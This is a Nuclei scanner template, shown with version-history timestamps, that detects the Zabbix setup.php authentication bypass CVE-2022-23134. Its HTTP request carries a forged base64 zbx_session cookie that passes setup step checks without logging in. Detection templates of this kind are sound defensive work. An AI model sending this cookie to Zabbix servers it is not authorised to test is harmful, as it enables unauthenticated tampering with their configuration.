nuclei-templates/http/cves/2022/CVE-2022-23134.yaml

64 lines
2.4 KiB
YAML
Raw Normal View History

2022-02-25 16:00:40 +00:00
id: CVE-2022-23134
info:
name: Zabbix Setup Configuration Authentication Bypass
2022-02-25 16:00:40 +00:00
author: bananabr
severity: medium
description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
2024-04-22 16:18:41 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability.
2022-02-25 16:00:40 +00:00
reference:
- https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
- https://nvd.nist.gov/vuln/detail/CVE-2022-23134
- https://support.zabbix.com/browse/ZBX-20384
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/
2023-07-11 19:49:27 +00:00
- https://lists.debian.org/debian-lts-announce/2022/02/msg00008.html
2022-02-25 16:00:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2022-23134
cwe-id: CWE-287,CWE-284
2024-04-22 16:18:41 +00:00
epss-score: 0.34559
epss-percentile: 0.9671
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: zabbix
product: zabbix
tags: cve,cve2022,zabbix,auth-bypass,kev
2022-02-25 16:00:40 +00:00
http:
2022-02-25 16:00:40 +00:00
- method: GET
path:
- "{{BaseURL}}/zabbix/setup.php"
- "{{BaseURL}}/setup.php"
2022-02-25 18:30:48 +00:00
2023-07-11 19:49:27 +00:00
stop-at-first-match: true
2022-02-25 16:00:40 +00:00
headers:
Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"
2022-02-25 18:30:48 +00:00
2022-02-25 16:00:40 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "Database"
- "host"
- "port"
2022-02-25 18:30:48 +00:00
- "Zabbix"
2022-02-25 16:00:40 +00:00
condition: and
2022-02-25 18:30:48 +00:00
2024-04-22 16:18:41 +00:00
- type: word
words:
- "youtube_main"
- "support.google.com"
part: header
condition: and
negative: true
2022-02-25 16:00:40 +00:00
- type: status
status:
- 200
# digest: 4b0a00483046022100e3fc17a46e63c043d37b84890ff55c7d3cf5f647c2885dc0484de21ac8fa5e260221008dda794693c6d89940aba0647527871cf1b59f9a8ac10fbeacf5f725abb667a6:922c64590222798bb761d5b6d8e72950